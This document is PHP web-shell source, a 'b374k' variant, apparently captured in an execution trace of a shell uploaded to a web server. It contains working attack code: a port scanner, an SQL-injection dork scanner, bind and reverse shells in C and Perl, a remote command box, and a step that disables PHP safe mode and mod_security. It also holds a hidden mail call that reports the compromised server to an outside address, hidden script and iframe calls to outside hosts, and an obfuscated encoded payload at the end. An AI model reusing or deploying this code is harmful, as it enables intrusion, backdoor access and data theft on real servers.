type="text/javascript">\');\r\n return $ip;\r\n flush();\r\n }\r\n function sws_port_scan($ip)\r\n {\r\n $list_post = array(\'80\',\'21\',\'22\',\'2082\',\'25\',\'53\',\'110\',\'443\',\'143\');\r\n foreach ($list_post as $o_port)\r\n {\r\n $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);\r\n if($connect)\r\n {\r\n echo " $ip : $o_port ??? <u style=\\"color: #00ff00\\">Open</u> <br /><br />";\r\n flush();\r\n }\r\n }\r\n }\r\n function findit($mytext,$starttag,$endtag) {\r\n $posLeft = @stripos($mytext,$starttag)+strlen($starttag);\r\n $posRight = @stripos($mytext,$endtag,$posLeft+1);\r\n return @substr($mytext,$posLeft,$posRight-$posLeft);\r\n flush();\r\n }\r\n echo \'<br><br><center>\';\r\n echo \'\r\n <br />\r\n <div class="sc"><form method="post"><table class="tabnet">\r\n\t<tr><th colspan="5">Website Whois</th></tr>\r\n <tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#00ff00;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan !" /></td></tr>\r\n </table></form></div>\';\r\n if(isset($_POST[\'scan\']))\r\n {\r\n $site = @htmlentities($_POST[\'site\']);\r\n if (empty($site)){die(\'<br /><br /> Not add IP .. !\');}\r\n $ip_port = @gethostbyname($site);\r\n echo "\r\n <br /><div class=\\"sc2\\">Scanning [ $site ip $ip_port ] ... </div>\r\n <div class=\\"tit\\"> <br /><br />|-------------- Port Server ------------------| <br /></div>\r\n <div class=\\"ru\\"> <br /><br /><pre>\r\n ";\r\n echo "".sws_port_scan($ip_port)." </pre></div> ";\r\n flush();\r\n echo "<div class=\\"tit\\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>\r\n <div class=\\"ru\\">\r\n <pre>".sws_domain_info($site)."</pre></div>";\r\n flush();\r\n echo "\r\n <div class=\\"tit\\"> <br /><br />|-------------- Network Info ------------------| <br /></div>\r\n <div class=\\"ru\\">\r\n <pre>".sws_net_info($site)."</pre> </div>";\r\n flush();\r\n echo "<div class=\\"tit\\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>\r\n <div class=\\"ru\\">\r\n <pre>".sws_sup_dom($site)."</pre> </div>";\r\n flush();\r\n echo "<div class=\\"tit\\"> <br /><br />|-------------- Site Server ------------------| <br /></div>\r\n <div class=\\"ru\\">\r\n <pre>".sws_site_ser($site)."</pre> </div>\r\n <div class=\\"tit\\"> <br /><br />|-------------- END ------------------| <br /></div>";\r\n flush();\r\n }\r\n echo \'</center>\';\r\n }\r\n///////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'about\'))\r\n {\r\n ?>\r\n <form action="?y=<?php echo $pwd; ?>&x=about" method="post">\r\n\t<center><br><br><img src=\'http://i.imgur.com/3m7leCw.jpg\'>\r\n <br><br><br>terimakasih buat teman2 ku yang mau membantu saya menyelesaikan shell saya yang versi v3.1 spesial edition ini\r\n\t<br><br>[ s4mp4h | areg noid | Mr Gãndrunx (Hiddenymouz) | ardan | FH04ZA | antonio HSH | war0x | x shadow | bagonk ]<br>dan semua kawan-kawan ku\r\n\t<br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>\r\n<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>\r\n<p><b><font size="3" color="#00ff00">=[ teman-temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>\r\nUyap<br>\r\nZinbad<br>FH04ZA<br>\r\nSani marpic<br>\r\nMadan Cyber<br>\r\nCah Bagus<br>\r\nRPG<br>Vallent<br>\r\nP4njie_a.k.a<br>\r\nDwi Syntia<br>\r\nÆrul Ringgo\'s<br>\r\nTi\'ar Variabel<br>\r\nImei7<br>\r\nHmei7<br>\r\nDe Vinclous<br>\r\nBlankon33<br>\r\nDoza Cracker<br>\r\nYing Cracker<br>\r\nIranian Hacker<br>\r\nDanger Hacker<br>\r\nAdmin07<br>\r\nZhou you<br>\r\nKsatria.us<br>\r\nCyber Inj3cti0n<br>\r\nK2ll33d<br>\r\nSultan Haikal<br>\r\nSyntax_Error<br>\r\nAqis<br>\r\nBlack Shadow<br>\r\ncrack999<br>\r\nFnatic Crew<br>\r\nCoretan Rizal<br>\r\nMalaikat Maut<br>\r\nDan teman-teman ku semua<br><br>\r\n=[ grup hacking ]=<br><br>\r\nBlack Newbie Team<br>\r\n3xpire Cyber Army<br>\r\nHack Forum<br>\r\nIndonesia Fighter Cyber<br>\r\nBiang Kerox Team<br>\r\nAnonymous<br>Gaza Hacker<br>Albanian Hacker<br>Devilz c0de<br>Muslims Cyber Shellz<br>\r\nX-Code<br>\r\nIndonesian Security<br>\r\nIndonesia Black Cyber<br>\r\nB-Compi<br>\r\nJasakom<br>\r\nMojopahit Fighter Cyber<br>\r\nLappis<br>\r\nMojopahit Cyber Dark<br>\r\nCrack Hack Forum<br>\r\ndan semua grup hacking<br>\r\nyang<br>\r\nsaya naungi dan singgahi<br><br><br>By<br>Cyber173 a.k.a X\'1n73ct<br><br><br>\r\n</font></b></p>\r\n</center>\r\n</marquee></center><br><br><br>\r\n<?php\r\n}\r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sqli-scanner\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">\r\n\r\n<?php\r\n\r\necho \'<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>\';\r\n\r\nob_start();\r\nset_time_limit(0);\r\n\r\nif (isset($_POST[\'scan\'])) {\r\n\r\n$browser = $_SERVER[\'HTTP_USER_AGENT\'];\r\n\r\n$first = "startgoogle.startpagina.nl/index.php?q=";\r\n$sec = "&start=";\r\n$reg = \'/<p class="g"><a href="(.*)" target="_self" onclick="/\';\r\n\r\nfor($id=0 ; $id<=30; $id++){\r\n$page=$id*10;\r\n$dork=urlencode($_POST[\'dork\']);\r\n$url = $first.$dork.$sec.$page;\r\n\r\n$curl = curl_init($url);\r\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');\r\n$result = curl_exec($curl);\r\ncurl_close($curl);\r\n\r\npreg_match_all($reg,$result,$matches);\r\n}\r\nforeach($matches[1] as $site){\r\n\r\n$url = preg_replace("/=/", "=\'", $site);\r\n$curl=curl_init();\r\ncurl_setopt($curl,CURLOPT_RETURNTRANSFER,1);\r\ncurl_setopt($curl,CURLOPT_URL,$url);\r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');\r\ncurl_setopt($curl,CURLOPT_TIMEOUT,\'5\');\r\n$GET=curl_exec($curl); \r\nif (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT * \r\n\r\nFROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) { \r\necho \'<center><b><font color="#E10000">Found : </font><a href="\'.$url.\'" target="_blank">\'.$url.\'</a><font color=#FF0000> <-- SQLI Vuln \r\n\r\nFound..</font></b></center>\';\r\nob_flush();flush(); \r\n}else{ \r\necho \'<center><font color="#FFFFFF"><b>\'.$url.\'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>\';\r\nob_flush();flush(); \r\n}\r\nob_flush();flush();\r\n}\r\nob_flush();flush();\r\n}\r\nob_flush();flush();\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'upload\')){ \r\nif(isset($_POST[\'uploadcomp\'])){\r\n\tif(is_uploaded_file($_FILES[\'file\'][\'tmp_name\'])){\r\n\t\t$path = magicboom($_POST[\'path\']);\r\n\t\t$fname = $_FILES[\'file\'][\'name\'];\r\n\t\t$tmp_name = $_FILES[\'file\'][\'tmp_name\'];\r\n\t\t$pindah = $path.$fname;\r\n\t\t$stat = @move_uploaded_file($tmp_name,$pindah);\t\t\r\n\t\tif ($stat) {\r\n\t\t\t$msg = "file uploaded to $pindah";\r\n\t\t}\r\n\t\telse $msg = "failed to upload $fname";\r\n\t}\r\n\telse $msg = "failed to upload $fname";\r\n}\r\nelseif(isset($_POST[\'uploadurl\'])){\r\n\t$pilihan = trim($_POST[\'pilihan\']);\r\n\t$wurl = trim($_POST[\'wurl\']);\r\n\t$path = magicboom($_POST[\'path\']);\r\n\t$namafile = download($pilihan,$wurl);\r\n\t$pindah = $path.$namafile;\r\n\tif(is_file($pindah)) {\r\n\t\t$msg = "file uploaded to $pindah";\r\n\t}\r\n\telse $msg = "failed to upload $namafile";\r\n\r\n}\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">\r\n<table class="tabnet" style="width:320px;padding:0 1px;">\r\n<tr><th colspan="2">Upload from computer</th></tr>\r\n<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>\r\n<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>\r\n</tr>\r\n</table></form>\r\n<table class="tabnet" style="width:320px;padding:0 1px;">\r\n<tr><th colspan="2">Upload from url</th></tr>\r\n<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">\r\n<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>\r\n<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>\r\n<tr><td><select size="1" class="inputz" name="pilihan">\r\n<option value="wwget">wget</option>\r\n<option value="wlynx">lynx</option>\r\n<option value="wfread">fread</option>\r\n<option value="wfetch">fetch</option>\r\n<option value="wlinks">links</option>\r\n<option value="wget">GET</option>\r\n<option value="wcurl">curl</option>\r\n</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>\r\n</tr>\r\n</table>\r\n<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>\r\n<?php }\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'netsploit\')){ \r\n\r\n// bind connect with c\r\nif (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'C\')) {\r\n\t$port = trim($_POST[\'port\']);\r\n\t$passwrd = trim($_POST[\'bind_pass\']);\r\n\ttulis("bdc.c",$port_bind_bd_c);\r\n \texe("gcc -o bdc bdc.c");\r\n \texe("chmod 777 bdc");\r\n \t@unlink("bdc.c");\r\n \texe("./bdc ".$port." ".$passwrd." &");\r\n \t$scan = exe("ps aux"); \r\n\tif(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }\r\n\telse { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }\r\n}\r\n// bind connect with perl\r\nelseif (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'Perl\')) {\r\n\t$port = trim($_POST[\'port\']);\r\n\t$passwrd = trim($_POST[\'bind_pass\']);\r\n\ttulis("bdp",$port_bind_bd_pl);\r\n\texe("chmod 777 bdp");\r\n \t$p2=which("perl");\r\n \texe($p2." bdp ".$port." &");\r\n \t$scan = exe("ps aux"); \r\n\tif(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }\r\n\telse { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }\r\n}\r\n// back connect with c\r\nelseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'C\')) {\r\n\t$ip = trim($_POST[\'ip\']);\r\n\t$port = trim($_POST[\'backport\']);\r\n\ttulis("bcc.c",$back_connect_c);\r\n \texe("gcc -o bcc bcc.c");\r\n \texe("chmod 777 bcc");\r\n \t@unlink("bcc.c");\r\n\texe("./bcc ".$ip." ".$port." &");\r\n\t$msg = "Now script try connect to ".$ip." port ".$port." ...";\r\n}\r\n// back connect with perl\r\nelseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'Perl\')) {\r\n\t$ip = trim($_POST[\'ip\']);\r\n\t$port = trim($_POST[\'backport\']);\r\n\ttulis("bcp",$back_connect);\r\n\texe("chmod +x bcp");\r\n\t$p2=which("perl");\r\n \texe($p2." bcp ".$ip." ".$port." &");\r\n \t$msg = "Now script try connect to ".$ip." port ".$port." ...";\r\n}\r\nelseif (isset($_POST[\'expcompile\']) && !empty($_POST[\'wurl\']) && !empty($_POST[\'wcmd\']))\r\n{\r\n\t$pilihan = trim($_POST[\'pilihan\']);\r\n\t$wurl = trim($_POST[\'wurl\']);\r\n\t$namafile = download($pilihan,$wurl);\r\n\tif(is_file($namafile)) {\r\n\t\r\n\t$msg = exe($wcmd);\r\n\t}\r\n\telse $msg = "error: file not found $namafile";\r\n}\r\n\r\n?>\r\n<table class="tabnet">\r\n<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>\r\n<tr>\r\n<td>\r\n<table>\r\n<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">\r\n<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>\r\n<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>\r\n<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>\r\n<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>\r\n</table>\r\n</td>\r\n<td>\r\n<table>\r\n<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">\r\n<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv(\'REMOTE_ADDR\')) ? (getenv(\'REMOTE_ADDR\')) : ("127.0.0.1")); ?>"></td></tr>\r\n<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>\r\n<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>\r\n<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>\r\n</table>\r\n</td>\r\n<td>\r\n<table>\r\n<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">\r\n<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>\r\n<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>\r\n</tr>\r\n<tr><td><select size="1" class="inputz" name="pilihan">\r\n<option value="wwget">wget</option>\r\n<option value="wlynx">lynx</option>\r\n<option value="wfread">fread</option>\r\n<option value="wfetch">fetch</option>\r\n<option value="wlinks">links</option>\r\n<option value="wget">GET</option>\r\n<option value="wcurl">curl</option>\r\n</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>\r\n</table>\r\n</td>\r\n</tr>\r\n</table>\r\n<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>\r\n<?php } elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'shell\')){ ?>\r\n<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">\r\n<table class="cmdbox">\r\n<tr><td colspan="2">\r\n<textarea class="output" readonly>\r\n<?php\r\nif(isset($_POST[\'submitcmd\'])) {\r\n\techo @exe($_POST[\'cmd\']);\r\n}\r\n?>\r\n</textarea>\r\n<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>\r\n</table>\r\n</form>\r\n<?php } \r\nelse { \r\nif(isset($_GET[\'delete\']) && ($_GET[\'delete\'] != "")){\r\n\t$file = $_GET[\'delete\'];\r\n\t@unlink($file);\r\n}\r\nelseif(isset($_GET[\'fdelete\']) && ($_GET[\'fdelete\'] != "")){\r\n\t@rmdir(rtrim($_GET[\'fdelete\'],DIRECTORY_SEPARATOR));\r\n}\r\nelseif(isset($_GET[\'mkdir\']) && ($_GET[\'mkdir\'] != "")){\r\n\t$path = $pwd.$_GET[\'mkdir\'];\r\n\t@mkdir($path);\r\n}\r\n\t$buff = showdir($pwd,$prompt);\r\n\techo $buff;\r\n}\r\n?>\r\n<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />\r\n<?php\r\nif(isset($_POST[\'ini\']))\r\n\t{\r\n\t\t\r\n$byphp = "safe_mode = Off\r\ndisable_functions = None\r\nsafe_mode_gid = OFF\r\nopen_basedir = OFF\r\nallow_url_fopen = On";\r\n$byht = "<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\nSecFilterCheckURLEncoding Off\r\nSecFilterCheckUnicodeEncoding Off\r\n</IfModule>";\r\nfile_put_contents("php.ini",$byphp);\r\nfile_put_contents(".htaccess",$byht);\r\necho "<script>alert(\'Disable Functions and Safemode Created\'); hideAll();</script>";\r\ndie();\r\n\t\t\r\n\t\t}\r\n\r\n?><center><br><br><div class="info">-=[ b374k r3c0ded by <b>X\'1N73CT</b> ]=-</div><br>\r\n<div class="jaya">© 2013 X\'1N73CT</div></center><br><br>\r\n</script>\r\n</div>\r\n</body>\r\n</html>\r\n<?php\r\n$time_shell = "".date("d/m/Y - H:i:s")."";\r\n$ip_remote = $_SERVER["REMOTE_ADDR"];\r\n$from_shellcode = \'shellgeldi@\'.gethostbyname($_SERVER[\'SERVER_NAME\']).\'\';\r\n$to_email = \'premiumrezult@gmail.com\';\r\n$server_mail = "".gethostbyname($_SERVER[\'SERVER_NAME\'])." - ".$_SERVER[\'HTTP_HOST\']."";\r\n$linkcr = "Link: ".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']." - IP Excuting: $ip_remote - Time: $time_shell";\r\n$header = "From: $from_shellcode\\r\\nReply-to: $from_shellcode";\r\n@mail($to_email, $server_mail, $linkcr, $header);\r\n\r\necho "<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>";\r\n ?>\r\n<?php\r\nfunction rooting()\r\n{\r\necho \'<b>Sw Bilgi<br><br>\'.php_uname().\'<br></b>\';\r\necho \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';\r\necho \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';\r\nif( $_POST[\'_upl\'] == "Upload" ) {\r\n\tif(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Yuklendi</b><br><br>\'; }\r\n\telse { echo \'<b>Basarisiz</b><br><br>\'; }\r\n}\r\n}\r\n$x = $_GET["x"];\r\nSwitch($x){\r\ncase "rooting";\r\n\trooting();\r\n\tbreak;\r\n\t\r\n\t}\r\n?>' /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 0
3 A /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 3 $site = 'http://localhost/uploads/1n73ctionshell.php'
3 A /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 7 $auth_pass = '9c80a1eaca699e2fc6b994721f8703bc'
3 A /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 8 $color = '#00ff00'
3 A /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 9 $default_action = 'FilesMan'
4 20 0 0.051037 2010480 define 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 10 2 'SELF_PATH' '/var/www/html/uploads/1n73ctionshell.php(4) : eval()\'d code(1) : eval()\'d code'
4 20 1 0.051058 2010584
4 20 R TRUE
4 21 0 0.051073 2010512 strpos 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 11 2 'python-requests/2.25.1' 'Google'
4 21 1 0.051090 2010584
4 21 R FALSE
4 22 0 0.051104 2010512 session_start 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 15 0
4 22 1 0.051190 2011264
4 22 R TRUE
4 23 0 0.051207 2011264 error_reporting 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 16 1 0
4 23 1 0.051222 2011304
4 23 R 0
4 24 0 0.051236 2011264 ini_set 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 17 2 'error_log' NULL
4 24 1 0.051253 2011336
4 24 R ''
4 25 0 0.051266 2011264 ini_set 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 18 2 'log_errors' 0
4 25 1 0.051282 2011336
4 25 R '1'
4 26 0 0.051295 2011264 ini_set 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 19 2 'max_execution_time' 0
4 26 1 0.051313 2011368
4 26 R '30'
4 27 0 0.051326 2011264 ini_set 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 20 2 'output_buffering' 0
4 27 1 0.051342 2011336
4 27 R FALSE
4 28 0 0.051355 2011264 ini_set 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 21 2 'display_errors' 0
4 28 1 0.051391 2011336
4 28 R ''
4 29 0 0.051404 2011264 set_time_limit 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code(1) : eval()'d code 22 1 0
4 29 1 0.051420 2011328
4 29 R FALSE
3 19 1 0.051453 2012776
2 7 1 0.051520 1237128
1 3 1 0.051528 1233832
1 30 0 0.051537 1233864 Error->__toString 0 Unknown 0 0
2 31 0 0.051549 1233944 Error->getTraceAsString 0 Unknown 0 0
2 31 1 0.051562 1234200
2 31 R '#0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/1n73ctionshell.php(4): eval()\n#2 {main}'
1 30 1 0.051583 1238336
1 30 R 'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/1n73ctionshell.php(4) : eval()\'d code(1) : eval()\'d code:23\nStack trace:\n#0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/1n73ctionshell.php(4): eval()\n#2 {main}'
0.051647 1158920
TRACE END [2023-02-12 22:48:16.328049]
<html><head></head><body><iframe style="display:none; height: 0; width:0;" src="https://spamshell.xyz/write.php?get=http://localhost/1n73ctionshell.php"></iframe></body></html>
<?php
$stt1 = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNz\x434pSi4upI5yUWJxqZhKfkpq\x63n5Kq\x41\x62SzKLVMQ6W4pMR\x41EwlY\x41w\x41\x3d";
$stt0 = "\x3d\x3d\x41P\x61JyKFfE\x41lhFN5Luwg\x41s\x2b\x42837pN/z5JxOo7\x62\x41ziEjJvusZ\x63XQ8skhwFLrMkw9MjmzxIkWntwfyPtT6X4LDRvK630DjXK7UzTtV70OSoMu18vJqrRmXUplpxmMP/Tk\x43rNIzUmgUSFtZlmDQqRFs\x63\x43mMoIQMI9lSelL\x634\x41YipSqkH9H\x43r\x611S2Ro\x6122O0J6jxsF96Qx\x61rQU98IlOg1NQis\x61Elgj6sL84MQx8QXF1Fom5ot5j\x62KE7S/KF/8LmTgFNFQ\x42\x61MuD\x43Z7n0uO3TZ5mxMtHw4/TNew\x41\x61E59TJy7tVM4T79HR29yR\x62vn\x2bRsfpGJVgX\x61oKJGDEVyrwTTkJojm1\x43j9ERU/M\x42W\x2bomJud2f\x62vv\x42r0iuhoQfoxhh4VJxXZFQPKG6\x63i4Z\x42XGjK\x62X\x420zIUgFwF3\x43R3MkPJsP\x6337YdnwJ\x43r/\x41SdZUooNe\x62\x63tgRs\x42pjrlywIs1oJN1EEz\x63t\x63MqSlEZdTe2wJ\x633oH\x63g1\x42L\x62D\x2beJiD20MXox6l\x41TkkMWgr3EJQz0x\x41oP9sdPrxPi\x41kVzZ6GnZRiXgxr3M\x62USKTOeXjZQMqm\x430EnM32\x41f\x63\x42derl\x61REr\x42\x62Y\x428Z8uWxWq\x43/smpXjU\x43NGNjRYs\x62oLZg/pPGn\x42fVQY1V\x61JiN72VxH\x62YhV6GsV8JDz5VhXVf\x61R11xxj8Wv\x61Q\x42\x63HqMk1KM2wGML5m\x62VMszeru\x2bZtj5vViKh4VsjgQTV8Wid\x2bqLv0NDE0TWmo\x62prK\x41DvnyLV\x42\x43O\x2b9O\x63\x43MiIs0QeNg\x42Kmy0\x6324M9L6\x43JTfF\x61GgH9F/mjhDinlhpXI3ZYSS7\x41xXSnT80gK6VsssxQDD\x62OhU3MDp\x41\x2bp6ixUR\x62R4EWZRkJPTim\x63R7\x63W3vlVoDqZ\x41Nvv\x638vYXwoUpYNntI2hJ\x63ZS\x63wgNH0fNS0l0wWRoZUv7SlzJk2\x41qDnM28jiLQk1r\x63dU\x61\x43\x43u\x42nY\x637Mv\x43hzlhJWUVUoxG\x2b\x43NdlQ\x2b\x2b\x624hn/46ggL1SSp1PK\x63hZyzdOHr8ZuK6//5nfunejfTgRyFlD6shshE0si\x615Dk11\x41\x4339s5s6YiFEM/w13\x42p6vhOQN/oPl6\x2bXIFUOG\x62LTV\x62IY\x2bJ0Ss\x42x\x416nhZ\x42NJjopE\x417LKJvWgV\x42gusQ7\x61\x61IXS4N8jkPTp\x2bPLo3FQ\x41s7MZ\x61l/sxKZ1ZIDqESy\x2b8EqqWlxVlUH6SkfOFf\x63he3N28\x2bh6V7/380O7f02Ht7yEpstU7Vl\x41Jwrt\x63r78z\x61DvnThlHWLg\x41xskU\x2b\x411SUhFqHFf5H8OKXQSYfFeik\x41xnP\x42\x41\x63gKj\x61QMLV\x61lKfRzLOZKL\x423toOvJivQ\x4256Ky8I5o2dL\x432tMdfo5XQemp\x43xhr\x62pJ\x2bqljds\x2buW\x43kHQ\x436/gEvfO\x2bmewYsHn\x62IpHtG\x41se6Xsx7mht2puLNKe3vGOpoK\x61R5qIlxZ\x43MStG1k400SZU5\x62sDHFHZmx\x43HMOhQyTf\x62VMoVL\x61Sv8q3\x43GMMtpzjhP27q4KtZRyj2PW6k4Ltzr1Fpul2Vk9VqLSZKz/r0m/D/7\x2bSkhVHSd2su\x43KKY1RvEy5WpRF\x41yyzjEgl5u6VPI1\x62Rr7N\x61jf0n/J/H\x636V/fOv1l\x62Xh\x4371\x43qw3\x62/qnHkkfV\x61yuJiWI\x618\x631n1s\x416Tj5OY\x43WfH\x61DTkNfllif6Nnt1f/dzqD398xHsNmr9rY5ZLIu5t\x2bmz8\x63THLu\x43Y8meeTvMfUI9X\x43Fofdj5WgSK5Vh29LOW/ye39GXxGqqU\x2bd5tj\x2bziVYRKUt/ew4\x61\x63qQNX\x43lDX2XKUYqhqe\x61NguPuH9MS/E4DmT\x2b\x610F/rlOulnZX0\x42wyth\x2b\x43XOf3O1S/gVtK3Oy2YuggW1\x2bgzUzYRGp2NR7\x61dDgKKMnf\x61\x63sqmEmTzh3SG4lGOqG\x61vgxDfE\x61StGgfHQ\x41\x2bKE/dvoQxlyWg0JrVFifsHEZWuPlyZPR12NJskieyyZYYDD3opX\x62VsyZZL12y8\x622ZkFtVvFVuK\x62dPNlGPRNKWTSsvrtKlpXHVM0yjqrIeDtXfFR/\x43iPZ2dj\x41IMfngkkkwnfL\x63HU17Ky5Xq/RT\x61SVXPzfw\x63Dt9V\x61XqNs99juUlKqk\x43\x612\x63LSerp9QFKnPDz6Hh9pp0n\x42JLqJJv\x2bUGld6i22nt\x616H\x42\x61rdt\x61FRxj\x63\x62eKyOReGkoizs6GPQMskIM\x63YW\x62uXqv0\x63n8R\x41\x63nl\x43F\x41\x2b0gzQo633QwWlGfv\x2bj3ivJF4HoRXMHXLgy\x41YV\x418y\x41so\x627RZFJD8m7\x633LrKuHTh5Sv8ky1\x61y47t8Ivw0x\x63T\x2bsP1LTInLMUP8\x62upfoMZUR\x2bNUKdVpUhNHKmyomM\x61ZQm3yi\x41\x42HS\x41MEmJPExh9nt\x41sk\x41HOkXQ4s57n\x42\x42G\x41\x62Z6v04jTg\x63S5lxi\x2bHR\x43NZ\x43LxqF0w\x63kP4MDigv4KmGQ\x41hPsGo\x63Se\x62xSFXFoo\x41ETfFke5hgmog5qn\x43ju\x418m\x43Y7HS6nO6rfxJS\x635R/Wh0GsO\x4144ySgyiMWDLgegsDI6KjxY0W\x63h3NHug4MOGvRtsI\x63DSeImkVV\x637p0YXSDHRssrKK/rLT1DpZdGNoJ/8DF0\x43\x63\x41mvqnJYXupH\x611/kmgk9pW9EeSwLm\x421mLywZlorMlSiHs/\x42zZISupflpfy0\x2bpfD6g9\x62z8Hhd\x63qDt5k05zEtPW\x43e\x2blV\x62\x2bGzxhnQpSdlsGy